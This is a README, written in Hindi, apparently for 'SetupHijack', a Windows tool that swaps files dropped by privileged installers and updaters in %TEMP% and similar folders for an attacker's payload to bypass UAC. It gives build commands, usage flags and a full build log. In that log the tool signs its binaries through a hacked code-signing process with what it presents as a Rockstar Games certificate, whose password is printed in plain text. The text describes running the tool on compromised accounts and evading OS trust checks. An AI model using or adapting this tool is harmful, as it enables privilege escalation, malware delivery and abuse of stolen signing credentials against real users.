
SetupHijack एक सुरक्षा अनुसंधान उपकरण है जो Windows अनुप्रयोगों की इंस्टॉलर और अपडेट प्रक्रियाओं में रेस कंडीशन और असुरक्षित फ़ाइल हैंडलिंग का शोषण करता है।
SetupHijack एक सुरक्षा अनुसंधान उपकरण है जो Windows इंस्टॉलर और अपडेट प्रक्रियाओं में रेस कंडीशन और असुरक्षित फ़ाइल हैंडलिंग का शोषण करता है। यह उन परिदृश्यों को लक्षित करता है जहां विशेषाधिकार प्राप्त इंस्टॉलर या अपडेटर %TEMP% या अन्य विश्व-लेखनीय स्थानों में फ़ाइलें ड्रॉप करते हैं, जिससे हमलावर उच्च विशेषाधिकारों के साथ निष्पादित होने से पहले इन फ़ाइलों को बदल सकता है।
.exe, .msi और बैच फ़ाइलों (जैसे, sysinfo, netstat, ipconfig) को संक्रमित कर सकता है।इस उपकरण का अभीष्ट उपयोग किसी समझौता किए गए उपयोगकर्ता खाते पर विशेषाधिकारों के साथ पृष्ठभूमि में चलाना है, ताकि इंस्टॉलर/अपडेटर फ़ाइल ड्रॉप्स को हाईजैक करके किसी अन्य प्रक्रिया को एलिवेट किया जा सके।
नीचे दिया गया चार्ट इस शोषण के वास्तविक-विश्व उदाहरण उपयोग-मामलों को कई परिदृश्यों में दर्शाता है जिनका उपयोग UAC बायपास के लिए किया जा सकता है। Adminless के तहत चलने पर UAC बायपास को एक सुरक्षा सीमा माना जाता है और सुरक्षा नियंत्रणों को अक्षम करने के लिए यह एक सामान्य "हमलावर आवश्यकता" है। विशेषाधिकार प्राप्त Administrator संचालन का शोषण दुर्भावनापूर्ण कोड के लिए साइड-लोड करने या प्रक्रिया विशेषाधिकारों को बढ़ाने हेतु सामान्य शोषण पहुंच प्रदान करता है। इस उपकरण का उपयोग उन अतिरिक्त अनुप्रयोगों की पहचान करने के लिए किया जा सकता है जो समान प्रकार के जोखिमों के संपर्क में हैं; एक हमलावर उपयोगकर्ता व्यवहार को बाधित किए बिना उन्नत अधिकार प्राप्त करने के साधन के रूप में इन प्रक्रियाओं के निष्पादन की प्रतीक्षा कर सकता है।

%TEMP% (और उपनिर्देशिकाओं) को लगातार स्कैन करता है।.bak फ़ाइल के रूप में सुरक्षित रखते हुए।यह प्रोजेक्ट पेलोड और इंस्टॉलरों पर हस्ताक्षर करने के लिए SignToolEx.exe और SignToolExHook.dll के साथ एक हैक किए गए कोड-साइनिंग प्रक्रिया का उपयोग करता है। मान्य कोड-साइनिंग प्रमाणपत्र और एक Authenticode टाइमस्टैम्प का उपयोग करने से इंस्टॉलर और OS ट्रस्ट जांचों को बायपास करने में आपकी सफलता दर बढ़ जाएगी।
nmake PAYLOAD=c:\Path\to\your\payload.exe
### चलाएँ (विकल्प)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp, -noappdata, या -nodownloads फ़्लैग्स के साथ किसी भी स्थान को अक्षम कर सकते हैं।clean फ़्लैग सभी सक्षम स्थानों में बैकअप पुनर्स्थापित करता है। verbose फ़्लैग सभी क्रियाओं को लॉग करता है।shadow.exe या समान टूल्स के साथ उपयोग करें।
%TEMP% में फ़ाइलें छोड़ता है और उन्हें उन्नत अधिकारों के साथ निष्पादित करता है, तो आपका पेलोड प्रतिस्थापित होकर चलाया जाएगा।नीचे SetupHijack के निर्माण और चलाने का एक वास्तविक उदाहरण दिया गया है, जिसमें कोड साइनिंग और संक्रमण आउटपुट शामिल है:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0